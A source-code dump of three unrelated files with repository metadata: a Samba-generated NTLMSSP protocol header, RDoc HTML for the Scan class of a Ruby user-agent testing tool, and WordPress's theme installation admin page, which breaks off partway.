NtLmChallenge=(int)(0x00000002),
NtLmAuthenticate=(int)(0x00000003)
}
#else
{ __donnot_use_enum_ntlmssp_MessageType=0x7FFFFFFF}
#define NtLmNegotiate ( 0x00000001 )
#define NtLmChallenge ( 0x00000002 )
#define NtLmAuthenticate ( 0x00000003 )
#endif
;
/* bitmap NEGOTIATE */
#define NTLMSSP_NEGOTIATE_UNICODE ( 0x00000001 )
#define NTLMSSP_NEGOTIATE_OEM ( 0x00000002 )
#define NTLMSSP_REQUEST_TARGET ( 0x00000004 )
#define NTLMSSP_NEGOTIATE_SIGN ( 0x00000010 )
#define NTLMSSP_NEGOTIATE_SEAL ( 0x00000020 )
#define NTLMSSP_NEGOTIATE_DATAGRAM ( 0x00000040 )
#define NTLMSSP_NEGOTIATE_LM_KEY ( 0x00000080 )
#define NTLMSSP_NEGOTIATE_NETWARE ( 0x00000100 )
#define NTLMSSP_NEGOTIATE_NTLM ( 0x00000200 )
#define NTLMSSP_NEGOTIATE_NT_ONLY ( 0x00000400 )
#define NTLMSSP_ANONYMOUS ( 0x00000800 )
#define NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED ( 0x00001000 )
#define NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED ( 0x00002000 )
#define NTLMSSP_NEGOTIATE_THIS_IS_LOCAL_CALL ( 0x00004000 )
#define NTLMSSP_NEGOTIATE_ALWAYS_SIGN ( 0x00008000 )
#define NTLMSSP_TARGET_TYPE_DOMAIN ( 0x00010000 )
#define NTLMSSP_TARGET_TYPE_SERVER ( 0x00020000 )
#define NTLMSSP_TARGET_TYPE_SHARE ( 0x00040000 )
#define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY ( 0x00080000 )
#define NTLMSSP_NEGOTIATE_IDENTIFY ( 0x00100000 )
#define NTLMSSP_REQUEST_NON_NT_SESSION_KEY ( 0x00400000 )
#define NTLMSSP_NEGOTIATE_TARGET_INFO ( 0x00800000 )
#define NTLMSSP_NEGOTIATE_VERSION ( 0x02000000 )
#define NTLMSSP_NEGOTIATE_128 ( 0x20000000 )
#define NTLMSSP_NEGOTIATE_KEY_EXCH ( 0x40000000 )
#define NTLMSSP_NEGOTIATE_56 ( 0x80000000 )
enum ntlmssp_WindowsMajorVersion
#ifndef USE_UINT_ENUMS
{
NTLMSSP_WINDOWS_MAJOR_VERSION_5=(int)(0x05),
NTLMSSP_WINDOWS_MAJOR_VERSION_6=(int)(0x06)
}
#else
{ __donnot_use_enum_ntlmssp_WindowsMajorVersion=0x7FFFFFFF}
#define NTLMSSP_WINDOWS_MAJOR_VERSION_5 ( 0x05 )
#define NTLMSSP_WINDOWS_MAJOR_VERSION_6 ( 0x06 )
#endif
;
enum ntlmssp_WindowsMinorVersion
#ifndef USE_UINT_ENUMS
{
NTLMSSP_WINDOWS_MINOR_VERSION_0=(int)(0x00),
NTLMSSP_WINDOWS_MINOR_VERSION_1=(int)(0x01),
NTLMSSP_WINDOWS_MINOR_VERSION_2=(int)(0x02)
}
#else
{ __donnot_use_enum_ntlmssp_WindowsMinorVersion=0x7FFFFFFF}
#define NTLMSSP_WINDOWS_MINOR_VERSION_0 ( 0x00 )
#define NTLMSSP_WINDOWS_MINOR_VERSION_1 ( 0x01 )
#define NTLMSSP_WINDOWS_MINOR_VERSION_2 ( 0x02 )
#endif
;
enum ntlmssp_NTLMRevisionCurrent
#ifndef USE_UINT_ENUMS
{
NTLMSSP_REVISION_W2K3_RC1=(int)(0x0A),
NTLMSSP_REVISION_W2K3=(int)(0x0F)
}
#else
{ __donnot_use_enum_ntlmssp_NTLMRevisionCurrent=0x7FFFFFFF}
#define NTLMSSP_REVISION_W2K3_RC1 ( 0x0A )
#define NTLMSSP_REVISION_W2K3 ( 0x0F )
#endif
;
struct ntlmssp_VERSION {
enum ntlmssp_WindowsMajorVersion ProductMajorVersion;
enum ntlmssp_WindowsMinorVersion ProductMinorVersion;
uint16_t ProductBuild;
uint8_t Reserved[3];
enum ntlmssp_NTLMRevisionCurrent NTLMRevisionCurrent;
}/* [public] */;
union ntlmssp_Version {
struct ntlmssp_VERSION version;/* [case(NTLMSSP_NEGOTIATE_VERSION)] */
}/* [noprint,nodiscriminant] */;
struct NEGOTIATE_MESSAGE {
const char *Signature;/* [charset(DOS),value("NTLMSSP")] */
enum ntlmssp_MessageType MessageType;/* [value(NtLmNegotiate)] */
uint32_t NegotiateFlags;
uint16_t DomainNameLen;/* [value(DomainName?strlen(DomainName):0)] */
uint16_t DomainNameMaxLen;/* [value(DomainNameLen)] */
const char * DomainName;/* [subcontext_size(DomainNameLen),relative,subcontext(0),flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_OEM))] */
uint16_t WorkstationLen;/* [value(Workstation?strlen(Workstation):0)] */
uint16_t WorkstationMaxLen;/* [value(WorkstationLen)] */
const char * Workstation;/* [flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_OEM)),subcontext(0),subcontext_size(WorkstationLen),relative] */
union ntlmssp_Version Version;/* [switch_is(NegotiateFlags&NTLMSSP_NEGOTIATE_VERSION)] */
}/* [public] */;
enum ntlmssp_AvId
#ifndef USE_UINT_ENUMS
{
MsvAvEOL=(int)(0),
MsvAvNbComputerName=(int)(1),
MsvAvNbDomainName=(int)(2),
MsvAvDnsComputerName=(int)(3),
MsvAvDnsDomainName=(int)(4),
MsvAvDnsTreeName=(int)(5),
MsvAvFlags=(int)(6),
MsvAvTimestamp=(int)(7),
MsAvRestrictions=(int)(8),
MsvAvTargetName=(int)(9),
MsvChannelBindings=(int)(10)
}
#else
{ __donnot_use_enum_ntlmssp_AvId=0x7FFFFFFF}
#define MsvAvEOL ( 0 )
#define MsvAvNbComputerName ( 1 )
#define MsvAvNbDomainName ( 2 )
#define MsvAvDnsComputerName ( 3 )
#define MsvAvDnsDomainName ( 4 )
#define MsvAvDnsTreeName ( 5 )
#define MsvAvFlags ( 6 )
#define MsvAvTimestamp ( 7 )
#define MsAvRestrictions ( 8 )
#define MsvAvTargetName ( 9 )
#define MsvChannelBindings ( 10 )
#endif
;
struct Restriction_Encoding {
uint32_t Size;
uint32_t Z4;/* [value(0)] */
uint32_t IntegrityLevel;
uint32_t SubjectIntegrityLevel;
uint8_t MachineId[32];
};
/* bitmap ntlmssp_AvFlags */
#define NTLMSSP_AVFLAG_CONSTRAINTED_ACCOUNT ( 0x00000001 )
#define NTLMSSP_AVFLAG_MIC_IN_AUTHENTICATE_MESSAGE ( 0x00000002 )
union ntlmssp_AvValue {
const char * AvNbComputerName;/* [flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_UNICODE)),case(MsvAvNbComputerName)] */
const char * AvNbDomainName;/* [case(MsvAvNbDomainName),flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_UNICODE))] */
const char * AvDnsComputerName;/* [flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_UNICODE)),case(MsvAvDnsComputerName)] */
const char * AvDnsDomainName;/* [flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_UNICODE)),case(MsvAvDnsDomainName)] */
const char * AvDnsTreeName;/* [case(MsvAvDnsTreeName),flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_UNICODE))] */
uint32_t AvFlags;/* [case(MsvAvFlags)] */
NTTIME AvTimestamp;/* [case(MsvAvTimestamp)] */
struct Restriction_Encoding AvRestrictions;/* [case(MsAvRestrictions)] */
const char * AvTargetName;/* [case(MsvAvTargetName),flag(ndr_ntlmssp_negotiated_string_flags(NTLMSSP_NEGOTIATE_UNICODE))] */
uint8_t ChannelBindings[16];/* [case(MsvChannelBindings)] */
DATA_BLOB blob;/* [default,flag(LIBNDR_FLAG_REMAINING)] */
}/* [gensize,flag(LIBNDR_FLAG_NOALIGN),nodiscriminant] */;
struct AV_PAIR {
enum ntlmssp_AvId AvId;
uint16_t AvLen;/* [value(ndr_size_ntlmssp_AvValue(&r->Value,r->AvId,0))] */
union ntlmssp_AvValue Value;/* [subcontext(0),switch_is(AvId),subcontext_size(AvLen)] */
}/* [flag(LIBNDR_FLAG_NOALIGN),public] */;
struct AV_PAIR_LIST {
uint32_t count;
struct AV_PAIR *pair;
}/* [nopull,flag(LIBNDR_FLAG_NOALIGN),gensize,nopush] */;
struct CHALLENGE_MESSAGE {
const char *Signature;/* [value("NTLMSSP"),charset(DOS)] */
enum ntlmssp_MessageType MessageType;/* [value(NtLmChallenge)] */
uint16_t TargetNameLen;/* [value(ndr_ntlmssp_string_length(NegotiateFlags,TargetName))] */
uint16_t TargetNameMaxLen;/* [value(TargetNameLen)] */
const char * TargetName;/* [relative,subcontext_size(TargetNameLen),subcontext(0),flag(ndr_ntlmssp_negotiated_string_flags(r->NegotiateFlags))] */
uint32_t NegotiateFlags;
uint8_t ServerChallenge[8];
uint8_t Reserved[8];
uint16_t TargetInfoLen;/* [value(ndr_size_AV_PAIR_LIST(TargetInfo,ndr->flags))] */
uint16_t TargetNameInfoMaxLen;/* [value(TargetInfoLen)] */
struct AV_PAIR_LIST *TargetInfo;/* [subcontext(0),relative,subcontext_size(TargetInfoLen)] */
union ntlmssp_Version Version;/* [switch_is(NegotiateFlags&NTLMSSP_NEGOTIATE_VERSION)] */
}/* [flag(LIBNDR_PRINT_ARRAY_HEX),public] */;
struct LM_RESPONSE {
uint8_t Response[24];
}/* [public,flag(LIBNDR_PRINT_ARRAY_HEX)] */;
struct LMv2_RESPONSE {
uint8_t Response[16];
uint8_t ChallengeFromClient[8];
}/* [flag(LIBNDR_PRINT_ARRAY_HEX),public] */;
union ntlmssp_LM_RESPONSE {
struct LM_RESPONSE v1;/* [case(24)] */
}/* [nodiscriminant] */;
struct NTLM_RESPONSE {
uint8_t Response[24];
}/* [flag(LIBNDR_PRINT_ARRAY_HEX),public] */;
struct NTLMv2_CLIENT_CHALLENGE {
uint8_t RespType;/* [value] */
uint8_t HiRespType;/* [value] */
uint16_t Reserved1;
uint32_t Reserved2;
NTTIME TimeStamp;
uint8_t ChallengeFromClient[8];
uint32_t Reserved3;
struct AV_PAIR_LIST AvPairs;/* [subcontext(0),flag(LIBNDR_FLAG_REMAINING)] */
}/* [flag(LIBNDR_PRINT_ARRAY_HEX)] */;
struct NTLMv2_RESPONSE {
uint8_t Response[16];
struct NTLMv2_CLIENT_CHALLENGE Challenge;
}/* [public,flag(LIBNDR_PRINT_ARRAY_HEX)] */;
union ntlmssp_NTLM_RESPONSE {
struct NTLM_RESPONSE v1;/* [case(0x18)] */
struct NTLMv2_RESPONSE v2;/* [default] */
}/* [nodiscriminant,public] */;
struct MIC {
uint8_t MIC[16];
}/* [flag(LIBNDR_PRINT_ARRAY_HEX)] */;
struct AUTHENTICATE_MESSAGE {
const char *Signature;/* [value("NTLMSSP"),charset(DOS)] */
enum ntlmssp_MessageType MessageType;/* [value(NtLmAuthenticate)] */
uint16_t LmChallengeResponseLen;
uint16_t LmChallengeResponseMaxLen;/* [value(LmChallengeResponseLen)] */
union ntlmssp_LM_RESPONSE *LmChallengeResponse;/* [switch_is(LmChallengeResponseLen),subcontext_size(LmChallengeResponseLen),relative,subcontext(0)] */
uint16_t NtChallengeResponseLen;
uint16_t NtChallengeResponseMaxLen;/* [value(NtChallengeResponseLen)] */
union ntlmssp_NTLM_RESPONSE *NtChallengeResponse;/* [subcontext_size(NtChallengeResponseMaxLen),switch_is(NtChallengeResponseLen),relative,subcontext(0)] */
uint16_t DomainNameLen;/* [value(ndr_ntlmssp_string_length(NegotiateFlags,DomainName))] */
uint16_t DomainNameMaxLen;/* [value(DomainNameLen)] */
const char * DomainName;/* [flag(ndr_ntlmssp_negotiated_string_flags(r->NegotiateFlags)),subcontext(0),relative,subcontext_size(DomainNameLen)] */
uint16_t UserNameLen;/* [value(ndr_ntlmssp_string_length(NegotiateFlags,UserName))] */
uint16_t UserNameMaxLen;/* [value(UserNameLen)] */
const char * UserName;/* [subcontext(0),flag(ndr_ntlmssp_negotiated_string_flags(r->NegotiateFlags)),relative,subcontext_size(UserNameLen)] */
uint16_t WorkstationLen;/* [value(ndr_ntlmssp_string_length(NegotiateFlags,Workstation))] */
uint16_t WorkstationMaxLen;/* [value(WorkstationLen)] */
const char * Workstation;/* [subcontext(0),flag(ndr_ntlmssp_negotiated_string_flags(r->NegotiateFlags)),subcontext_size(WorkstationLen),relative] */
uint16_t EncryptedRandomSessionKeyLen;/* [value(EncryptedRandomSessionKey->length)] */
uint16_t EncryptedRandomSessionKeyMaxLen;/* [value(EncryptedRandomSessionKeyLen)] */
DATA_BLOB *EncryptedRandomSessionKey;/* [subcontext(0),relative,subcontext_size(EncryptedRandomSessionKeyLen)] */
uint32_t NegotiateFlags;
union ntlmssp_Version Version;/* [switch_is(NegotiateFlags&NTLMSSP_NEGOTIATE_VERSION)] */
}/* [flag(LIBNDR_FLAG_REMAINING),public] */;
struct NTLMSSP_MESSAGE_SIGNATURE {
uint32_t Version;/* [value(NTLMSSP_SIGN_VERSION)] */
uint32_t RandomPad;
uint32_t Checksum;
uint32_t SeqNum;
}/* [public] */;
struct NTLMSSP_MESSAGE_SIGNATURE_NTLMv2 {
uint32_t Version;/* [value(NTLMSSP_SIGN_VERSION)] */
uint8_t Checksum[8];
uint32_t SeqNum;
}/* [flag(LIBNDR_PRINT_ARRAY_HEX),public] */;
struct decode_NEGOTIATE_MESSAGE {
struct {
struct NEGOTIATE_MESSAGE negotiate;
} in;
};
struct decode_CHALLENGE_MESSAGE {
struct {
struct CHALLENGE_MESSAGE challenge;
} in;
};
struct decode_AUTHENTICATE_MESSAGE {
struct {
struct AUTHENTICATE_MESSAGE authenticate;
} in;
};
struct decode_NTLMv2_CLIENT_CHALLENGE {
struct {
struct NTLMv2_CLIENT_CHALLENGE challenge;
} in;
};
struct decode_NTLMv2_RESPONSE {
struct {
struct NTLMv2_RESPONSE response;
} in;
};
#endif /* _HEADER_ntlmssp */
#endif /* _PIDL_HEADER_ntlmssp */
|
AndreyPopovNew/asuswrt-merlin-rt-n
|
release/src/router/samba36/source3/librpc/gen_ndr/ntlmssp.h
|
C
|
gpl-2.0
| 11,841
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<title>Class: Scan</title>
<link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
<script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
<script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
<script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
<script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
</head>
<body id="top" class="class">
<div id="metadata">
<div id="home-metadata">
<div id="home-section" class="section">
<h3 class="section-header">
<a href="./index.html">Home</a>
<a href="./index.html#classes">Classes</a>
<a href="./index.html#methods">Methods</a>
</h3>
</div>
</div>
<div id="file-metadata">
<div id="file-list-section" class="section">
<h3 class="section-header">In Files</h3>
<div class="section-body">
<ul>
<li><a href="./bin/scan_rb.html?TB_iframe=true&height=550&width=785"
class="thickbox" title="bin/scan.rb">bin/scan.rb</a></li>
</ul>
</div>
</div>
</div>
<div id="class-metadata">
<!-- Parent Class -->
<div id="parent-class-section" class="section">
<h3 class="section-header">Parent</h3>
<p class="link"><a href="Object.html">Object</a></p>
</div>
<!-- Method Quickref -->
<div id="method-list-section" class="section">
<h3 class="section-header">Methods</h3>
<ul class="link-list">
<li><a href="#method-c-new">::new</a></li>
<li><a href="#method-i-start_scan">#start_scan</a></li>
<li><a href="#method-i-use_proxy">#use_proxy</a></li>
</ul>
</div>
</div>
<div id="project-metadata">
<div id="fileindex-section" class="section project-section">
<h3 class="section-header">Files</h3>
<ul>
<li class="file"><a href="./CHANGELOG.html">CHANGELOG</a></li>
<li class="file"><a href="./Gemfile.html">Gemfile</a></li>
<li class="file"><a href="./LICENSE.html">LICENSE</a></li>
<li class="file"><a href="./TODO.html">TODO</a></li>
<li class="file"><a href="./doc/README_txt.html">README.txt</a></li>
<li class="file"><a href="./signatures/cms_joomla_txt.html">cms_joomla.txt</a></li>
<li class="file"><a href="./signatures/default_txt.html">default.txt</a></li>
<li class="file"><a href="./signatures/mobile_devices_txt.html">mobile_devices.txt</a></li>
<li class="file"><a href="./signatures/modsecurity_bad_robots_txt.html">modsecurity_bad_robots.txt</a></li>
<li class="file"><a href="./signatures/modsecurity_scanners_txt.html">modsecurity_scanners.txt</a></li>
<li class="file"><a href="./signatures/spiders_txt.html">spiders.txt</a></li>
</ul>
</div>
<div id="classindex-section" class="section project-section">
<h3 class="section-header">Class/Module Index
<span class="search-toggle"><img src="./images/find.png"
height="16" width="16" alt="[+]"
title="show/hide quicksearch" /></span></h3>
<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
<fieldset>
<legend>Quicksearch</legend>
<input type="text" name="quicksearch" value=""
class="quicksearch-field" />
</fieldset>
</form>
<ul class="link-list">
<li><a href="./CMDPrint.html">CMDPrint</a></li>
<li><a href="./HttpRequest.html">HttpRequest</a></li>
<li><a href="./Object.html">Object</a></li>
<li><a href="./SaveCSV.html">SaveCSV</a></li>
<li><a href="./Scan.html">Scan</a></li>
<li><a href="./UACtl.html">UACtl</a></li>
<li><a href="./UATester.html">UATester</a></li>
<li><a href="./Utils.html">Utils</a></li>
</ul>
<div id="no-class-search-results" style="display: none;">No matching classes.</div>
</div>
</div>
</div>
<div id="documentation">
<h1 class="class">Scan</h1>
<div id="description" class="description">
</div><!-- description -->
<div id="5Buntitled-5D" class="documentation-section">
<!-- Constants -->
<div id="constants-list" class="section">
<h3 class="section-header">Constants</h3>
<dl>
<dt><a name="BASE_URL">BASE_URL</a></dt>
<dd class="description"></dd>
<dt><a name="USE_PROXY">USE_PROXY</a></dt>
<dd class="description"></dd>
</dl>
</div>
<!-- Methods -->
<div id="public-class-method-details" class="method-section section">
<h3 class="section-header">Public Class Methods</h3>
<div id="new-method" class="method-detail ">
<a name="method-c-new"></a>
<div class="method-heading">
<span class="method-name">new</span><span
class="method-args">()</span>
<span class="method-click-advice">click to toggle source</span>
</div>
<div class="method-description">
<div class="method-source-code" id="new-source">
<pre>
<span class="ruby-comment"># File bin/scan.rb, line 29</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>
<span class="ruby-ivar">@generic_request</span> = <span class="ruby-constant">HttpRequest</span>.<span class="ruby-identifier">new</span>
<span class="ruby-ivar">@utils</span> = <span class="ruby-constant">Utils</span>.<span class="ruby-identifier">new</span>
<span class="ruby-ivar">@files</span> = <span class="ruby-ivar">@utils</span>.<span class="ruby-identifier">load_signatures_files</span>
<span class="ruby-keyword">end</span></pre>
</div><!-- new-source -->
</div>
</div><!-- new-method -->
</div><!-- public-class-method-details -->
<div id="public-instance-method-details" class="method-section section">
<h3 class="section-header">Public Instance Methods</h3>
<div id="start_scan-method" class="method-detail ">
<a name="method-i-start_scan"></a>
<div class="method-heading">
<span class="method-name">start_scan</span><span
class="method-args">(url="#{BASE_URL}")</span>
<span class="method-click-advice">click to toggle source</span>
</div>
<div class="method-description">
<div class="method-source-code" id="start_scan-source">
<pre>
<span class="ruby-comment"># File bin/scan.rb, line 45</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">start_scan</span>(<span class="ruby-identifier">url</span>=<span class="ruby-node">"#{BASE_URL}"</span>)
<span class="ruby-keyword">begin</span>
<span class="ruby-identifier">uri</span> = <span class="ruby-ivar">@utils</span>.<span class="ruby-identifier">normalize</span> <span class="ruby-identifier">url</span>
<span class="ruby-ivar">@generic_request</span>.<span class="ruby-identifier">uri</span> <span class="ruby-identifier">uri</span>
<span class="ruby-ivar">@files</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
<span class="ruby-identifier">signature_file</span> = <span class="ruby-constant">YAML</span>.<span class="ruby-identifier">load_file</span> <span class="ruby-identifier">file</span>
<span class="ruby-identifier">puts</span> <span class="ruby-string">"---"</span>
<span class="ruby-identifier">signature_file</span>.<span class="ruby-identifier">each_key</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">ua_class</span><span class="ruby-operator">|</span>
<span class="ruby-constant">CMDPrint</span>.<span class="ruby-identifier">print_info</span>(<span class="ruby-identifier">ua_class</span>)
<span class="ruby-identifier">signature_file</span>[<span class="ruby-identifier">ua_class</span>].<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">ua_value</span><span class="ruby-operator">|</span>
<span class="ruby-identifier">res</span> = <span class="ruby-ivar">@generic_request</span>.<span class="ruby-identifier">make_request</span>(<span class="ruby-identifier">uri</span>, <span class="ruby-identifier">ua_value</span>)
<span class="ruby-keyword">end</span>
<span class="ruby-keyword">end</span>
<span class="ruby-keyword">end</span>
<span class="ruby-identifier">puts</span> <span class="ruby-string">""</span>
<span class="ruby-keyword">rescue</span> <span class="ruby-constant">Interrupt</span>
<span class="ruby-constant">CMDPrint</span>.<span class="ruby-identifier">print_info</span> <span class="ruby-string">"Ctrl + C"</span>
<span class="ruby-keyword">rescue</span>
<span class="ruby-identifier">puts</span> <span class="ruby-identifier">$!</span>, <span class="ruby-identifier">$@</span>
<span class="ruby-constant">CMDPrint</span>.<span class="ruby-identifier">print_info</span> <span class="ruby-string">"Fatal Error!"</span>
<span class="ruby-keyword">end</span>
<span class="ruby-keyword">end</span></pre>
</div><!-- start_scan-source -->
</div>
</div><!-- start_scan-method -->
<div id="use_proxy-method" class="method-detail ">
<a name="method-i-use_proxy"></a>
<div class="method-heading">
<span class="method-name">use_proxy</span><span
class="method-args">(use=USE_PROXY, proxy)</span>
<span class="method-click-advice">click to toggle source</span>
</div>
<div class="method-description">
<div class="method-source-code" id="use_proxy-source">
<pre>
<span class="ruby-comment"># File bin/scan.rb, line 35</span>
<span class="ruby-keyword">def</span> <span class="ruby-identifier">use_proxy</span>(<span class="ruby-identifier">use</span>=<span class="ruby-constant">USE_PROXY</span>, <span class="ruby-identifier">proxy</span>)
<span class="ruby-keyword">if</span> <span class="ruby-identifier">use</span> <span class="ruby-operator">!=</span> <span class="ruby-keyword">false</span>
<span class="ruby-identifier">proxy_params</span> = <span class="ruby-ivar">@utils</span>.<span class="ruby-identifier">setting_proxy</span> <span class="ruby-identifier">proxy</span>
<span class="ruby-identifier">proxy_addr</span> = <span class="ruby-identifier">proxy_params</span>[<span class="ruby-value">0</span>]
<span class="ruby-identifier">proxy_port</span> = <span class="ruby-identifier">proxy_params</span>[<span class="ruby-value">1</span>]
<span class="ruby-ivar">@generic_request</span>.<span class="ruby-identifier">proxy</span> <span class="ruby-identifier">proxy_addr</span>, <span class="ruby-identifier">proxy_port</span>
<span class="ruby-keyword">end</span>
<span class="ruby-keyword">end</span></pre>
</div><!-- use_proxy-source -->
</div>
</div><!-- use_proxy-method -->
</div><!-- public-instance-method-details -->
</div><!-- 5Buntitled-5D -->
</div><!-- documentation -->
<div id="validator-badges">
<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
Rdoc Generator</a> 2</small>.</p>
</div>
</body>
</html>
|
amenezes/ua-tester
|
doc/Scan.html
|
HTML
|
gpl-2.0
| 13,401
|
<?php
/**
* Install theme administration panel.
*
* @package WordPress
* @subpackage Administration
*/
/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );
require( ABSPATH . 'wp-admin/includes/theme-install.php' );
wp_reset_vars( array( 'tab' ) );
if ( ! current_user_can('install_themes') )
wp_die( __( 'You do not have sufficient permissions to install themes on this site.' ) );
if ( is_multisite() && ! is_network_admin() ) {
wp_redirect( network_admin_url( 'theme-install.php' ) );
exit();
}
$title = __( 'Add Themes' );
$parent_file = 'themes.php';
if ( ! is_network_admin() ) {
$submenu_file = 'themes.php';
}
$installed_themes = search_theme_directories();
foreach ( $installed_themes as $k => $v ) {
if ( false !== strpos( $k, '/' ) ) {
unset( $installed_themes[ $k ] );
}
}
wp_localize_script( 'theme', '_wpThemeSettings', array(
'themes' => false,
'settings' => array(
'isInstall' => true,
'canInstall' => current_user_can( 'install_themes' ),
'installURI' => current_user_can( 'install_themes' ) ? self_admin_url( 'theme-install.php' ) : null,
'adminUrl' => parse_url( self_admin_url(), PHP_URL_PATH )
),
'l10n' => array(
'addNew' => __( 'Add New Theme' ),
'search' => __( 'Search Themes' ),
'searchPlaceholder' => __( 'Search themes...' ), // placeholder (no ellipsis)
'upload' => __( 'Upload Theme' ),
'back' => __( 'Back' ),
'error' => __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ),
'themesFound' => __( 'Number of Themes found: %d' ),
'noThemesFound' => __( 'No themes found. Try a different search.' ),
'collapseSidebar' => __( 'Collapse Sidebar' ),
'expandSidebar' => __( 'Expand Sidebar' ),
),
'installedThemes' => array_keys( $installed_themes ),
) );
wp_enqueue_script( 'theme' );
if ( $tab ) {
/**
* Fires before each of the tabs are rendered on the Install Themes page.
*
* The dynamic portion of the hook name, `$tab`, refers to the current
* theme install tab. Possible values are 'dashboard', 'search', 'upload',
* 'featured', 'new', or 'updated'.
*
* @since 2.8.0
*/
do_action( "install_themes_pre_{$tab}" );
}
$help_overview =
'<p>' . sprintf(__('You can find additional themes for your site by using the Theme Browser/Installer on this screen, which will display themes from the <a href="%s" target="_blank">WordPress.org Theme Directory</a>. These themes are designed and developed by third parties, are available free of charge, and are compatible with the license WordPress uses.'), 'https://wordpress.org/themes/') . '</p>' .
'<p>' . __( 'You can Search for themes by keyword, author, or tag, or can get more specific and search by criteria listed in the feature filter.' ) . ' <span id="live-search-desc">' . __( 'The search results will be updated as you type.' ) . '</span></p>' .
'<p>' . __( 'Alternately, you can browse the themes that are Featured, Popular, or Latest. When you find a theme you like, you can preview it or install it.' ) . '</p>' .
'<p>' . __('You can Upload a theme manually if you have already downloaded its ZIP archive onto your computer (make sure it is from a trusted and original source). You can also do it the old-fashioned way and copy a downloaded theme’s folder via FTP into your <code>/wp-content/themes</code> directory.') . '</p>';
get_current_screen()->add_help_tab( array(
'id' => 'overview',
'title' => __('Overview'),
'content' => $help_overview
) );
$help_installing =
'<p>' . __('Once you have generated a list of themes, you can preview and install any of them. Click on the thumbnail of the theme you’re interested in previewing. It will open up in a full-screen Preview page to give you a better idea of how that theme will look.') . '</p>' .
'<p>' . __('To install the theme so you can preview it with your site’s content and customize its theme options, click the "Install" button at the top of the left-hand pane. The theme files will be downloaded to your website automatically. When this is complete, the theme is now available for activation, which you can do by clicking the "Activate" link, or by navigating to your Manage Themes screen and clicking the "Live Preview" link under any installed theme’s thumbnail image.') . '</p>';
get_current_screen()->add_help_tab( array(
'id' => 'installing',
'title' => __('Previewing and Installing'),
'content' => $help_installing
) );
get_current_screen()->set_help_sidebar(
'<p><strong>' . __('For more information:') . '</strong></p>' .
'<p>' . __('<a href="https://codex.wordpress.org/Using_Themes#Adding_New_Themes" target="_blank">Documentation on Adding New Themes</a>') . '</p>' .
'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
);
include(ABSPATH . 'wp-admin/admin-header.php');
?>
<div class="wrap">
<h1><?php
echo esc_html( $title );
/**
* Filter the tabs shown on the Add Themes screen.
*
* This filter is for backwards compatibility only, for the suppression
* of the upload tab.
*
* @since 2.8.0
*
* @param array $tabs The tabs shown on the Add Themes screen. Default is 'upload'.
*/
$tabs = apply_filters( 'install_themes_tabs', array( 'upload' => __( 'Upload Theme' ) ) );
if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_themes' ) ) {
echo ' <a href="#" class="upload page-title-action">' . __( 'Upload Theme' ) . '</a>';
}
?></h1>
<div class="upload-theme">
<?php install_themes_upload(); ?>
</div>
<br class="clear" />
<?php
if ( $tab ) {
/**
* Fires at the top of each of the tabs on the Install Themes page.
*
* The dynamic portion of the hook name, `$tab`, refers to the current
* theme install tab. Possible values are 'dashboard', 'search', 'upload',
* 'featured', 'new', or 'updated'.
*
* @since 2.8.0
*
* @param int $paged Number of the current page of results being viewed.
*/
do_action( "install_themes_{$tab}", $paged );
}
?>
</div>
<script id="tmpl-theme" type="text/template">
<# if ( data.screenshot_url ) { #>
<div class="theme-screenshot">
<img src="{{ data.screenshot_url }}" alt="" />
</div>
<# } else { #>
<div class="theme-screenshot blank"></div>
<# } #>
<span class="more-details"><?php _ex( 'Details & Preview', 'theme' ); ?></span>
<div class="theme-author"><?php printf( __( 'By %s' ), '{{ data.author }}' ); ?></div>
<h3 class="theme-name">{{ data.name }}</h3>
<div class="theme-actions">
<a class="button button-primary" href="{{ data.install_url }}"><?php esc_html_e( 'Install' ); ?></a>
<a class="button button-secondary preview install-theme-preview" href="#"><?php esc_html_e( 'Preview' ); ?></a>
</div>
<# if ( data.installed ) { #>
<div class="theme-installed"><?php _ex( 'Already Installed', 'theme' ); ?></div>
<# } #>
</script>
<script id="tmpl-theme-preview" type="text/template">
<div class="wp-full-overlay-sidebar">
<div class="wp-full-overlay-header">
<a href="#" class="close-full-overlay"><span class="screen-reader-text"><?php _e( 'Close' ); ?></span></a>
